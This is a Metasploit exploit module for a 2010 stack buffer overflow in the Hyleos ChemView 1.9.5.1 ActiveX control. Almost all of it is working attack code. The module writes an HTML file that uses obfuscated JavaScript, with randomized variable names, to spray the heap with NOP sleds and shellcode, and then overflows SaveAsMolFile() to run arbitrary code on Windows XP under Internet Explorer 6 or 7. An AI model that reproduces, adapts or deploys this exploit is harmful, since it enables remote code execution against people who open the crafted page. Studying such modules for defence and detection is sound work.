Hyleos ChemView 1.9.5.1 - ActiveX Control Buffer Overflow Exploit (Metasploit)



##

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = AverageRanking

    include Msf::Exploit::FILEFORMAT

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Hyleos ChemView ActiveX Control Buffer Overflow Exploit',
            'Description'    => %q{
                This module exploits a stack-based buffer overflow within HyleosChemView.ocx of Hyleos ChemView 1.9.5.1
                By setting an overly long value to 'SaveAsMolFile()', an attacker can overrun a buffer
                and execute arbitrary code.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Dz_attacker <dz_attacker[at]hotmail.fr>'
                ],
            'References'     =>
                [
                    [ 'URL', 'http://www.security-assessment.com/files/advisories/2010-02-11_ChemviewX_Activex.pdf' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload'        =>
                {
                    'Space'         => 1024,
                    'BadChars'      => "\x00\x0a\x0a\x20",
                    'StackAdjustment' => -3500,
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0A0A0a0A, 'Offset' => 150 } ]
                ],
            'DisclosureDate' => 'Feb 11 2010',
            'DefaultTarget'  => 0))

            register_options(
                [
                    OptString.new('FILENAME',   [ false, 'The file name.',  'msf.html']),
                ], self.class)
    end

    def exploit

        # Encode the shellcode
        shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

        # Setup exploit buffers
        nops       = Rex::Text.to_unescape([target.ret].pack('V'))
        ret        = Rex::Text.uri_encode([target.ret].pack('L'))
        blocksize = 0x40000
        fillto    = 300
        offset       = target['Offset']

        # Randomize the javascript variable names
        chemview     = rand_text_alpha(rand(100) + 1)
        j_shellcode  = rand_text_alpha(rand(100) + 1)
        j_nops       = rand_text_alpha(rand(100) + 1)
        j_ret        = rand_text_alpha(rand(100) + 1)
        j_headersize = rand_text_alpha(rand(100) + 1)
        j_slackspace = rand_text_alpha(rand(100) + 1)
        j_fillblock  = rand_text_alpha(rand(100) + 1)
        j_block      = rand_text_alpha(rand(100) + 1)
        j_memory     = rand_text_alpha(rand(100) + 1)
        j_counter    = rand_text_alpha(rand(30) + 2)


        html = %Q|<html>
<object classid='clsid:C372350A-1D5A-44DC-A759-767FC553D96C' id='#{chemview}'></object>
<script>
#{j_shellcode}=unescape('#{shellcode}');
#{j_nops}=unescape('#{nops}');
#{j_headersize}=20;
#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;
while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};
#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});
#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});
while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};
#{j_memory}=new Array();
for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};

var #{j_ret}='';
for(#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++)#{j_ret}+=unescape('#{ret}');
#{chemview}.SaveAsMolFile(#{j_ret});
</script>
</html>|

        print_status("Creating '#{datastore['FILENAME']}' file ...")

        file_create(html)
    end

end